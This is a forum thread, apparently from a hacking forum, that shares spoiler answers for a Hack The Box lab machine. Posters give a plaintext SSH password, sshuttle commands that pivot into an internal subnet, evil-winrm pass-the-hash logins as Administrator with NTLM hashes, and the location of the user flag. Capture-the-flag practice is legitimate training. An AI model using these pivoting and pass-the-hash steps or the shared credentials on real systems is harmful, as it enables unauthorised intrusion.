Posts: 77
Threads: 8
Joined: Aug 2024
Feb 09, 2025, 06:57 PM
(This post was last modified: Feb 09, 2025, 07:14 PM by rootme1122.)
git clone https://github.com/sshuttle/sshuttle.git
cd sshuttle
./run -r ebelford@ip -N 172.16.20.0/24
sshuttle -r ebelford@ip -N 172.16.20.0/24
password: ThePlague61780
c : Connected to server.
evil-winrm -i 172.16.20.1 -u "administrator" -H 'fcb3ca5a19a1ccf2d14c13e8b64cde0f'
Posts: 77
Threads: 8
Joined: Aug 2024
nothing to do
just copy & paste it on
your Kali
Posts: 77
Threads: 8
Joined: Aug 2024
(Feb 09, 2025, 07:06 PM)dede9708 Wrote: (Feb 09, 2025, 07:03 PM)rootme1122 Wrote: nothing to do
just copy & paste it on
your Kali
But what about this IP address? It’s not part of the HTB network. I tried changing it to the target machine's IP (10.10.XX.XX), but it didn’t work!
do this
sshuttle -r ebelford@ x.x.x.x.x -N 172.16.20.0/24
Posts: 77
Threads: 8
Joined: Aug 2024
(Feb 09, 2025, 07:12 PM)dede9708 Wrote: (Feb 09, 2025, 07:09 PM)rootme1122 Wrote: (Feb 09, 2025, 07:06 PM)dede9708 Wrote: (Feb 09, 2025, 07:03 PM)rootme1122 Wrote: nothing to do
just copy & paste it on
your Kali
But what about this IP address? It’s not part of the HTB network. I tried changing it to the target machine's IP (10.10.XX.XX), but it didn’t work!
do this
sshuttle -r ebelford@x.x.x.x.x -N 172.16.20.0/24
Thank you very much! But what is the password for the user: ebelford?
password: ThePlague61780
Posts: 12
Threads: 3
Joined: Jan 2025
(Feb 09, 2025, 07:02 PM)dede9708 Wrote: (Feb 09, 2025, 06:57 PM)rootme1122 Wrote: evil-winrm -i 172.16.20.1 -u "administrator" -H 'fcb3ca5a19a1ccf2d14c13e8b64cde0f'
Love You All
Do I need to set up tunneling before executing this command?
bro ip means tun0 ?? or machine ip ?? This forum account is currently banned. Ban Length: Permanent (N/A Remaining)
Ban Reason: Calling someone a scammer without evidence
Posts: 77
Threads: 8
Joined: Aug 2024
(Feb 09, 2025, 07:36 PM)dede9708 Wrote: (Feb 09, 2025, 07:12 PM)dede9708 Wrote: (Feb 09, 2025, 07:09 PM)rootme1122 Wrote: (Feb 09, 2025, 07:06 PM)dede9708 Wrote: (Feb 09, 2025, 07:03 PM)rootme1122 Wrote: nothing to do
just copy & paste it on
your Kali
But what about this IP address? It’s not part of the HTB network. I tried changing it to the target machine's IP (10.10.XX.XX), but it didn’t work!
do this
sshuttle -r ebelford@x.x.x.x.x -N 172.16.20.0/24
Thank you very much! But what is the password for the user: ebelford?
Where can I find the user.txt? evil-winrm -i 172.16.20.2 -u Administrator -H '88d84ec08dad123eb04a060a74053f21'
Posts: 72
Threads: 3
Joined: Jan 2025
umm which user has the user flag can anyone tell me how to get it
Posts: 28
Threads: 0
Joined: Jan 2024
Thank you for sharing, but I haven't reached that point yet, I'm 'stuck' on the user.txt.
I've tried using the admin login and hash, but I can't find the user flag. If anyone can help, I would appreciate it... what's important is understanding how we got there. This forum account is currently banned. Ban Length: Permanent (N/A Remaining)
Ban Reason: Leeching.
Posts: 3
Threads: 0
Joined: Dec 2024
(Feb 09, 2025, 08:04 PM)laranja Wrote: Thank you for sharing, but I haven't reached that point yet, I'm 'stuck' on the user.txt.
I've tried using the admin login and hash, but I can't find the user flag. If anyone can help, I would appreciate it... what's important is understanding how we got there.
user is at 172.16.20.2
Posts: 43
Threads: 1
Joined: Oct 2023
Administrator on WEB-01 has user flag, need to switch Desktop after connection:
*Evil-WinRM* PS C:\Users\Administrator\Documents> dir ..\Desktop
|
